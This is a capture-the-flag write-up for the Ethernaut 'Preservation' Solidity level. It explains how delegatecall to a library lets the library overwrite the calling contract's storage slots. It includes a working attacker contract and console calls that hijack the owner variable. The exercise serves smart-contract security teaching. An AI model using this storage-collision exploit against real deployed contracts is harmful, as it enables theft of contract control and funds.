✅
Preservation
delegatecall and storage
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity's documentation on the
delegatecall
low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. - Understanding what it means for
delegatecall
to be context-preserving. - Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.
https://medium.com/coinmonks/ethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Recall that:
Delegate
call is a special, low level function call intended to invoke functions from another, often library, contract.- If Contract A makes a
delegatecall
to Contract B, it allows Contract B to freely mutate its storage A, given Contract B’s relative storage reference pointers.
In this challenge,
LibraryContract::setTime()
modifies the state variable at slot 0. In a delegatecall scenario such as Preservation::setFirstTime()
, it is going to modify the state variable at slot 0 in contract Preservation
, that is, timeZone1Library
.Now we know that
timeZOne1Library
is controllable, we can deploy a malicious contract that has the same storage layout as Preservation
and contains a function named setTime()
. This malicious setTime()
function should modify the state variable at slot 2. When Preservation::setFirstTime()
is called again, it is going to change the state variable at slot 2 in contract Preservation
, that is, owner
. And we are done.Step 1: In Remix, deploy the following malicious contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PreservationHack {
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint storedTime; // slot 3
function setTime(uint256 _time) public {
owner = msg.sender;
}
}
Step 2: Invoke
setFirstTime(<malicious_contract_address>)
:await contract.setFirstTime('<malicious_contract_address>')
Now
tiemZone1Library
should be updated to malicious contract's address:await contract.timeZone1Library()
Step 3: Invoke
setFirstTime()
again with some random uint256
such as 1337
:await contract.setFirstTime(1337)
Now
owner
should be updated to your Metamask wallet's address:await contract.owner()
As the previous level,
delegate
mentions, the use of delegatecall
to call libraries can be risky. This is particularly true for contract libraries that have their own state. This example demonstrates why the library
keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.Last modified 1d ago